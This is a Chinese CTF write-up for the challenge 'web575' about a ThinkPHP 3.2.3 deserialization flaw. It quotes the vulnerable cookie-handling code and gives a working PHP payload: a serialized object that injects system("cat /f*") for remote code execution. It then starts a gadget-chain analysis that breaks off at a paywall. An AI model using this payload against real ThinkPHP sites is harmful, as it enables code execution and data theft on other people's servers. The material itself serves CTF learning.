web575
给了源码
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量
payload:
<?php
namespace Home\Controller{
class IndexController {
public $id='1'; //get传入的id也要相同
public $username='<?php system("cat /f*");?>';
}
}
namespace{
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController()));
}
?>
bp抓包修改cookie

当然除了这个方法以外我们还知道thinkphp3.2.3存在反序列化漏洞。
正好复现一下这个漏洞。
全局搜索__destruct,我们要寻找存在这样可控参数调用方法的。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
接着全局搜索function destroy(
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

全局搜索function delete(
/ThinkPHP/Library/Think/Model.class.php
我们看下我们在上一步传入的参数中$this->sessionName是可控的,但是后面拼接了个空字符,当我们给$this->sessionName赋值数组,接着拼接上空字符串就会出问题了。
<?php
$a=array(

本文详细探讨了如何利用ThinkPHP3.2.3的反序列化漏洞进行代码执行,包括构造payload绕过条件,以及通过报错注入实现数据库操作,如执行SQL、写入文件。同时,提到了利用堆叠和多语句执行来提升权限,甚至可能构造恶意MySQL服务器进行远程控制。
最低0.47元/天 解锁文章
2669





